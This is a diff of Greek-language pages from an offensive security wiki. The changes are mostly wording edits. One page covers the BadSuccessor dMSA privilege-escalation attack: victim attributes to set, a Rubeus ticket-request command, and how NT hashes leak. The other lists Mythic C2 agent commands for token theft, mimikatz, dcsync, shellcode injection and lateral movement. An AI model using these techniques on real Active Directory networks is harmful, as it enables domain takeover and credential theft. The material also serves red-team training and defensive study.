- Ορίστε `msDS‑ManagedAccountPrecededByLink = DN` οποιουδήποτε θύματος (π.χ. `CN=Administrator,CN=Users,DC=lab,DC=local`).
|
||||
- Ορίστε `msDS‑DelegatedMSAState = 2` (ολοκλήρωση μετανάστευσης).
|
||||
- Ορίστε `msDS‑DelegatedMSAState = 2` (ολοκληρωμένη μετανάστευση).
|
||||
|
||||
Εργαλεία όπως **Set‑ADComputer, ldapmodify**, ή ακόμη και **ADSI Edit** λειτουργούν; δεν απαιτούνται δικαιώματα διαχειριστή τομέα.
|
||||
|
||||
@ -44,15 +44,15 @@ New‑ADServiceAccount Attacker_dMSA `
|
||||
Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/aka.test /dmsa /opsec /nowrap /ptt /ticket:<Machine TGT>
|
||||
```
|
||||
|
||||
Το επιστρεφόμενο PAC περιέχει τώρα το SID 500 (Διαχειριστής) συν τις ομάδες Domain Admins/Enterprise Admins.
|
||||
Το επιστρεφόμενο PAC περιέχει τώρα το SID 500 (Administrator) συν τις ομάδες Domain Admins/Enterprise Admins.
|
||||
|
||||
## Συγκέντρωση όλων των κωδικών πρόσβασης χρηστών
|
||||
|
||||
Κατά τη διάρκεια νόμιμων μεταναστεύσεων, το KDC πρέπει να επιτρέπει στο νέο dMSA να αποκρυπτογραφεί **εισιτήρια που εκδόθηκαν στον παλιό λογαριασμό πριν από την μετάβαση**. Για να αποφευχθεί η διακοπή ζωντανών συνεδριών, τοποθετεί τόσο τα τρέχοντα κλειδιά όσο και τα προηγούμενα κλειδιά μέσα σε ένα νέο ASN.1 blob που ονομάζεται **`KERB‑DMSA‑KEY‑PACKAGE`**.
|
||||
|
||||
Επειδή η ψεύτικη μετανάστευσή μας ισχυρίζεται ότι το dMSA διαδέχεται το θύμα, το KDC αντιγράφει πιστά το κλειδί RC4‑HMAC του θύματος στη λίστα **previous‑keys** – ακόμη και αν το dMSA δεν είχε ποτέ έναν “προηγούμενο” κωδικό πρόσβασης. Αυτό το κλειδί RC4 είναι μη αλατισμένο, επομένως είναι ουσιαστικά το NT hash του θύματος, δίνοντας στον επιτιθέμενο **δυνατότητα offline cracking ή “pass‑the‑hash”**.
|
||||
Δεδομένου ότι η ψεύτικη μετανάστευσή μας ισχυρίζεται ότι το dMSA διαδέχεται το θύμα, το KDC αντιγράφει πιστά το κλειδί RC4‑HMAC του θύματος στη λίστα **previous‑keys** – ακόμη και αν το dMSA δεν είχε ποτέ έναν “προηγούμενο” κωδικό πρόσβασης. Αυτό το κλειδί RC4 είναι μη αλατισμένο, επομένως είναι ουσιαστικά το NT hash του θύματος, δίνοντας στον επιτιθέμενο **δυνατότητα offline cracking ή “pass‑the‑hash”**.
|
||||
|
||||
Επομένως, η μαζική σύνδεση χιλιάδων χρηστών επιτρέπει σε έναν επιτιθέμενο να εκφορτώσει hashes “σε κλίμακα”, μετατρέποντας το **BadSuccessor σε έναν μηχανισμό κλιμάκωσης προνομίων και παραβίασης διαπιστευτηρίων**.
|
||||
Επομένως, η μαζική σύνδεση χιλιάδων χρηστών επιτρέπει σε έναν επιτιθέμενο να εκφορτώσει hashes “σε κλίμακα,” μετατρέποντας **BadSuccessor σε έναν μηχανισμό κλιμάκωσης προνομίων και παραβίασης διαπιστευτηρίων**.
|
||||
|
||||
## Εργαλεία
|
||||
|
||||
|
@ -1,5 +1,7 @@
|
||||
# Mythic
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Τι είναι το Mythic;
|
||||
|
||||
Το Mythic είναι ένα ανοιχτού κώδικα, αρθρωτό πλαίσιο διοίκησης και ελέγχου (C2) σχεδιασμένο για red teaming. Επιτρέπει στους επαγγελματίες ασφάλειας να διαχειρίζονται και να αναπτύσσουν διάφορους πράκτορες (payloads) σε διαφορετικά λειτουργικά συστήματα, συμπεριλαμβανομένων των Windows, Linux και macOS. Το Mythic παρέχει μια φιλική προς το χρήστη διαδικτυακή διεπαφή για τη διαχείριση των πρακτόρων, την εκτέλεση εντολών και τη συλλογή αποτελεσμάτων, καθιστώντας το ένα ισχυρό εργαλείο για την προσομοίωση πραγματικών επιθέσεων σε ελεγχόμενο περιβάλλον.
|
||||
@ -38,7 +40,7 @@ sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
|
||||
```bash
|
||||
./mythic-cli install github https://github.com/MythicAgents/Apollo.git
|
||||
```
|
||||
Αυτός ο πράκτορας έχει πολλές εντολές που τον κάνουν πολύ παρόμοιο με το Beacon του Cobalt Strike με μερικά επιπλέον χαρακτηριστικά. Μεταξύ αυτών, υποστηρίζει:
|
||||
Αυτός ο πράκτορας έχει πολλούς εντολές που τον κάνουν πολύ παρόμοιο με το Beacon του Cobalt Strike με μερικά επιπλέον. Μεταξύ αυτών, υποστηρίζει:
|
||||
|
||||
### Κοινές ενέργειες
|
||||
|
||||
@ -47,7 +49,7 @@ sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
|
||||
- `cp`: Αντιγραφή ενός αρχείου από μια τοποθεσία σε άλλη
|
||||
- `ls`: Λίστα αρχείων και καταλόγων στον τρέχοντα κατάλογο ή σε καθορισμένη διαδρομή
|
||||
- `pwd`: Εκτύπωση του τρέχοντος καταλόγου εργασίας
|
||||
- `ps`: Λίστα τρεχουσών διεργασιών στο σύστημα στόχο (με πρόσθετες πληροφορίες)
|
||||
- `ps`: Λίστα τρεχουσών διαδικασιών στο σύστημα στόχο (με πρόσθετες πληροφορίες)
|
||||
- `download`: Λήψη ενός αρχείου από το σύστημα στόχο στη τοπική μηχανή
|
||||
- `upload`: Ανέβασμα ενός αρχείου από τη τοπική μηχανή στο σύστημα στόχο
|
||||
- `reg_query`: Ερώτηση κλειδιών και τιμών μητρώου στο σύστημα στόχο
|
||||
@ -58,29 +60,29 @@ sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
|
||||
### Ανάβαση δικαιωμάτων
|
||||
|
||||
- `getprivs`: Ενεργοποίηση όσων περισσότερων δικαιωμάτων είναι δυνατά στο τρέχον νήμα
|
||||
- `getsystem`: Άνοιγμα ενός χεριού στο winlogon και αντιγραφή του διακριτικού, αυξάνοντας αποτελεσματικά τα δικαιώματα στο επίπεδο SYSTEM
|
||||
- `make_token`: Δημιουργία νέας συνεδρίας σύνδεσης και εφαρμογή της στον πράκτορα, επιτρέποντας την αναπαράσταση άλλου χρήστη
|
||||
- `steal_token`: Κλοπή ενός κύριου διακριτικού από άλλη διεργασία, επιτρέποντας στον πράκτορα να αναπαραστήσει τον χρήστη αυτής της διεργασίας
|
||||
- `getsystem`: Άνοιγμα ενός χειριστηρίου στο winlogon και αντιγραφή του διακριτικού, αυξάνοντας αποτελεσματικά τα δικαιώματα στο επίπεδο SYSTEM
|
||||
- `make_token`: Δημιουργία μιας νέας συνεδρίας σύνδεσης και εφαρμογή της στον πράκτορα, επιτρέποντας την προσποίηση άλλου χρήστη
|
||||
- `steal_token`: Κλοπή ενός κύριου διακριτικού από άλλη διαδικασία, επιτρέποντας στον πράκτορα να προσποιείται τον χρήστη αυτής της διαδικασίας
|
||||
- `pth`: Επίθεση Pass-the-Hash, επιτρέποντας στον πράκτορα να πιστοποιηθεί ως χρήστης χρησιμοποιώντας το NTLM hash τους χωρίς να χρειάζεται ο απλός κωδικός πρόσβασης
|
||||
- `mimikatz`: Εκτέλεση εντολών Mimikatz για εξαγωγή διαπιστευτηρίων, hashes και άλλων ευαίσθητων πληροφοριών από τη μνήμη ή τη βάση δεδομένων SAM
|
||||
- `rev2self`: Επαναφορά του διακριτικού του πράκτορα στο κύριο διακριτικό του, μειώνοντας αποτελεσματικά τα δικαιώματα στο αρχικό επίπεδο
|
||||
- `ppid`: Αλλαγή της γονικής διεργασίας για εργασίες μετά την εκμετάλλευση καθορίζοντας μια νέα ταυτότητα γονικής διεργασίας, επιτρέποντας καλύτερο έλεγχο του πλαισίου εκτέλεσης εργασιών
|
||||
- `printspoofer`: Εκτέλεση εντολών PrintSpoofer για παράκαμψη των μέτρων ασφαλείας του εκτυπωτή, επιτρέποντας την ανάβαση δικαιωμάτων ή την εκτέλεση κώδικα
|
||||
- `dcsync`: Συγχρονισμός των κλειδιών Kerberos ενός χρήστη στη τοπική μηχανή, επιτρέποντας την εκτός σύνδεσης διάσπαση κωδικών πρόσβασης ή περαιτέρω επιθέσεις
|
||||
- `ticket_cache_add`: Προσθήκη ενός εισιτηρίου Kerberos στη τρέχουσα συνεδρία σύνδεσης ή σε μια καθορισμένη, επιτρέποντας την επαναχρησιμοποίηση εισιτηρίων ή την αναπαράσταση
|
||||
- `ppid`: Αλλαγή της γονικής διαδικασίας για εργασίες μετά την εκμετάλλευση καθορίζοντας μια νέα ταυτότητα γονικής διαδικασίας, επιτρέποντας καλύτερο έλεγχο του πλαισίου εκτέλεσης εργασιών
|
||||
- `printspoofer`: Εκτέλεση εντολών PrintSpoofer για παράκαμψη των μέτρων ασφαλείας του εκτυπωτή, επιτρέποντας την αύξηση δικαιωμάτων ή την εκτέλεση κώδικα
|
||||
- `dcsync`: Συγχρονισμός των κλειδιών Kerberos ενός χρήστη στη τοπική μηχανή, επιτρέποντας την εκτός σύνδεσης αποκρυπτογράφηση κωδικών πρόσβασης ή περαιτέρω επιθέσεις
|
||||
- `ticket_cache_add`: Προσθήκη ενός εισιτηρίου Kerberos στη τρέχουσα συνεδρία σύνδεσης ή σε μια καθορισμένη, επιτρέποντας την επαναχρησιμοποίηση εισιτηρίων ή την προσποίηση
|
||||
|
||||
### Εκτέλεση διεργασιών
|
||||
### Εκτέλεση διαδικασίας
|
||||
|
||||
- `assembly_inject`: Επιτρέπει την έγχυση ενός φορτωτή .NET assembly σε μια απομακρυσμένη διεργασία
|
||||
- `assembly_inject`: Επιτρέπει την έγχυση ενός φορτωτή .NET assembly σε μια απομακρυσμένη διαδικασία
|
||||
- `execute_assembly`: Εκτελεί μια .NET assembly στο πλαίσιο του πράκτορα
|
||||
- `execute_coff`: Εκτελεί ένα αρχείο COFF στη μνήμη, επιτρέποντας την εκτέλεση κωδικοποιημένου κώδικα στη μνήμη
|
||||
- `execute_pe`: Εκτελεί μια unmanaged εκτελέσιμη (PE)
|
||||
- `inline_assembly`: Εκτελεί μια .NET assembly σε μια προσωρινή AppDomain, επιτρέποντας την προσωρινή εκτέλεση κώδικα χωρίς να επηρεάζεται η κύρια διεργασία του πράκτορα
|
||||
- `run`: Εκτελεί ένα δυαδικό αρχείο στο σύστημα στόχο, χρησιμοποιώντας το PATH του συστήματος για να βρει το εκτελέσιμο
|
||||
- `shinject`: Εγχύει shellcode σε μια απομακρυσμένη διεργασία, επιτρέποντας την εκτέλεση κώδικα στη μνήμη
|
||||
- `inject`: Εγχύει shellcode του πράκτορα σε μια απομακρυσμένη διεργασία, επιτρέποντας την εκτέλεση του κώδικα του πράκτορα στη μνήμη
|
||||
- `spawn`: Δημιουργεί μια νέα συνεδρία πράκτορα στο καθορισμένο εκτελέσιμο, επιτρέποντας την εκτέλεση shellcode σε μια νέα διεργασία
|
||||
- `spawnto_x64` και `spawnto_x86`: Αλλαγή του προεπιλεγμένου δυαδικού που χρησιμοποιείται σε εργασίες μετά την εκμετάλλευση σε μια καθορισμένη διαδρομή αντί να χρησιμοποιεί το `rundll32.exe` χωρίς παραμέτρους, το οποίο είναι πολύ θορυβώδες.
|
||||
- `inline_assembly`: Εκτελεί μια .NET assembly σε ένα disposable AppDomain, επιτρέποντας την προσωρινή εκτέλεση κώδικα χωρίς να επηρεάζεται η κύρια διαδικασία του πράκτορα
|
||||
- `run`: Εκτελεί ένα δυαδικό στο σύστημα στόχο, χρησιμοποιώντας το PATH του συστήματος για να βρει το εκτελέσιμο
|
||||
- `shinject`: Εγχύει shellcode σε μια απομακρυσμένη διαδικασία, επιτρέποντας την εκτέλεση κώδικα στη μνήμη
|
||||
- `inject`: Εγχύει shellcode του πράκτορα σε μια απομακρυσμένη διαδικασία, επιτρέποντας την εκτέλεση του κώδικα του πράκτορα στη μνήμη
|
||||
- `spawn`: Δημιουργεί μια νέα συνεδρία πράκτορα στο καθορισμένο εκτελέσιμο, επιτρέποντας την εκτέλεση shellcode σε μια νέα διαδικασία
|
||||
- `spawnto_x64` και `spawnto_x86`: Αλλαγή του προεπιλεγμένου δυαδικού που χρησιμοποιείται σε εργασίες μετά την εκμετάλλευση σε μια καθορισμένη διαδρομή αντί να χρησιμοποιεί το `rundll32.exe` χωρίς παραμέτρους που είναι πολύ θορυβώδες.
|
||||
|
||||
### Mithic Forge
|
||||
|
||||
@ -107,15 +109,15 @@ sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
|
||||
|
||||
### Πλευρική Κίνηση
|
||||
|
||||
- `jump_psexec`: Χρησιμοποιεί την τεχνική PsExec για να μετακινηθεί πλευρικά σε μια νέα υποδοχή αντιγράφοντας πρώτα το εκτελέσιμο του πράκτορα Apollo (apollo.exe) και εκτελώντας το.
|
||||
- `jump_wmi`: Χρησιμοποιεί την τεχνική WMI για να μετακινηθεί πλευρικά σε μια νέα υποδοχή αντιγράφοντας πρώτα το εκτελέσιμο του πράκτορα Apollo (apollo.exe) και εκτελώντας το.
|
||||
- `jump_psexec`: Χρησιμοποιεί την τεχνική PsExec για να κινηθεί πλευρικά σε μια νέα υποδοχή αντιγράφοντας πρώτα το εκτελέσιμο του πράκτορα Apollo (apollo.exe) και εκτελώντας το.
|
||||
- `jump_wmi`: Χρησιμοποιεί την τεχνική WMI για να κινηθεί πλευρικά σε μια νέα υποδοχή αντιγράφοντας πρώτα το εκτελέσιμο του πράκτορα Apollo (apollo.exe) και εκτελώντας το.
|
||||
- `wmiexecute`: Εκτελεί μια εντολή στο τοπικό ή καθορισμένο απομακρυσμένο σύστημα χρησιμοποιώντας WMI, με προαιρετικά διαπιστευτήρια για μίμηση.
|
||||
- `net_dclist`: Ανακτά μια λίστα ελεγκτών τομέα για τον καθορισμένο τομέα, χρήσιμη για την αναγνώριση πιθανών στόχων για πλευρική κίνηση.
|
||||
- `net_localgroup`: Λίστα τοπικών ομάδων στον καθορισμένο υπολογιστή, προεπιλεγμένα στον localhost αν δεν έχει καθοριστεί υπολογιστής.
|
||||
- `net_localgroup_member`: Ανακτά την τοπική συμμετοχή ομάδας για μια καθορισμένη ομάδα στον τοπικό ή απομακρυσμένο υπολογιστή, επιτρέποντας την καταμέτρηση χρηστών σε συγκεκριμένες ομάδες.
|
||||
- `net_shares`: Λίστα απομακρυσμένων κοινών και της προσβασιμότητάς τους στον καθορισμένο υπολογιστή, χρήσιμη για την αναγνώριση πιθανών στόχων για πλευρική κίνηση.
|
||||
- `socks`: Ενεργοποιεί έναν proxy συμβατό με SOCKS 5 στο δίκτυο στόχο, επιτρέποντας τη διέλευση της κίνησης μέσω της παραβιασμένης υποδοχής. Συμβατό με εργαλεία όπως το proxychains.
|
||||
- `rpfwd`: Ξεκινά να ακούει σε μια καθορισμένη θύρα στην υποδοχή στόχο και προωθεί την κίνηση μέσω του Mythic σε μια απομακρυσμένη IP και θύρα, επιτρέποντας απομακρυσμένη πρόσβαση σε υπηρεσίες στο δίκτυο στόχο.
|
||||
- `socks`: Ενεργοποιεί έναν proxy συμβατό με SOCKS 5 στο δίκτυο στόχου, επιτρέποντας τη σήραγγα της κίνησης μέσω της συμβιβασμένης υποδοχής. Συμβατό με εργαλεία όπως το proxychains.
|
||||
- `rpfwd`: Ξεκινά να ακούει σε μια καθορισμένη θύρα στην υποδοχή στόχου και προωθεί την κίνηση μέσω του Mythic σε μια απομακρυσμένη IP και θύρα, επιτρέποντας απομακρυσμένη πρόσβαση σε υπηρεσίες στο δίκτυο στόχου.
|
||||
- `listpipes`: Λίστα όλων των ονομασμένων σωλήνων στο τοπικό σύστημα, που μπορεί να είναι χρήσιμη για πλευρική κίνηση ή κλιμάκωση προνομίων μέσω αλληλεπίδρασης με μηχανισμούς IPC.
|
||||
|
||||
### Διάφορες Εντολές
|
||||
@ -147,18 +149,21 @@ sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
|
||||
- `triagedirectory`: Βρείτε ενδιαφέροντα αρχεία μέσα σε έναν κατάλογο σε έναν υπολογιστή, όπως ευαίσθητα αρχεία ή διαπιστευτήρια.
|
||||
- `getenv`: Λάβετε όλες τις τρέχουσες μεταβλητές περιβάλλοντος.
|
||||
|
||||
### Κίνηση οριζόντια
|
||||
### Κίνηση πλευρικά
|
||||
|
||||
- `ssh`: SSH στον υπολογιστή χρησιμοποιώντας τα καθορισμένα διαπιστευτήρια και ανοίξτε ένα PTY χωρίς να δημιουργήσετε ssh.
|
||||
- `sshauth`: SSH σε καθορισμένο υπολογιστή(ές) χρησιμοποιώντας τα καθορισμένα διαπιστευτήρια. Μπορείτε επίσης να το χρησιμοποιήσετε για να εκτελέσετε μια συγκεκριμένη εντολή στους απομακρυσμένους υπολογιστές μέσω SSH ή να το χρησιμοποιήσετε για SCP αρχεία.
|
||||
- `link_tcp`: Σύνδεση σε άλλο πράκτορα μέσω TCP, επιτρέποντας άμεση επικοινωνία μεταξύ των πρακτόρων.
|
||||
- `link_webshell`: Σύνδεση σε έναν πράκτορα χρησιμοποιώντας το προφίλ P2P του webshell, επιτρέποντας απομακρυσμένη πρόσβαση στη διεπαφή ιστού του πράκτορα.
|
||||
- `sshauth`: SSH σε καθορισμένο υπολογιστή(ες) χρησιμοποιώντας τα καθορισμένα διαπιστευτήρια. Μπορείτε επίσης να το χρησιμοποιήσετε για να εκτελέσετε μια συγκεκριμένη εντολή στους απομακρυσμένους υπολογιστές μέσω SSH ή να το χρησιμοποιήσετε για να SCP αρχεία.
|
||||
- `link_tcp`: Σύνδεση με άλλο πράκτορα μέσω TCP, επιτρέποντας άμεση επικοινωνία μεταξύ των πρακτόρων.
|
||||
- `link_webshell`: Σύνδεση με έναν πράκτορα χρησιμοποιώντας το προφίλ P2P του webshell, επιτρέποντας απομακρυσμένη πρόσβαση στη διεπαφή ιστού του πράκτορα.
|
||||
- `rpfwd`: Ξεκινήστε ή σταματήστε μια Αντίστροφη Προώθηση Θύρας, επιτρέποντας απομακρυσμένη πρόσβαση σε υπηρεσίες στο δίκτυο στόχο.
|
||||
- `socks`: Ξεκινήστε ή σταματήστε έναν διακομιστή SOCKS5 στο δίκτυο στόχο, επιτρέποντας τη σήραγγα της κυκλοφορίας μέσω του παραβιασμένου υπολογιστή. Συμβατό με εργαλεία όπως το proxychains.
|
||||
- `portscan`: Σάρωση υπολογιστή(ών) για ανοιχτές θύρες, χρήσιμο για την αναγνώριση πιθανών στόχων για οριζόντια κίνηση ή περαιτέρω επιθέσεις.
|
||||
- `portscan`: Σάρωση υπολογιστή(ών) για ανοιχτές θύρες, χρήσιμο για την αναγνώριση πιθανών στόχων για πλευρική κίνηση ή περαιτέρω επιθέσεις.
|
||||
|
||||
### Εκτέλεση διαδικασίας
|
||||
|
||||
- `shell`: Εκτέλεση μιας μόνο εντολής shell μέσω /bin/sh, επιτρέποντας άμεση εκτέλεση εντολών στο σύστημα στόχο.
|
||||
- `run`: Εκτέλεση μιας εντολής από το δίσκο με παραμέτρους, επιτρέποντας την εκτέλεση δυαδικών ή σεναρίων στο σύστημα στόχο.
|
||||
- `pty`: Άνοιγμα ενός διαδραστικού PTY, επιτρέποντας άμεση αλληλεπίδραση με το shell στο σύστημα στόχο.
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user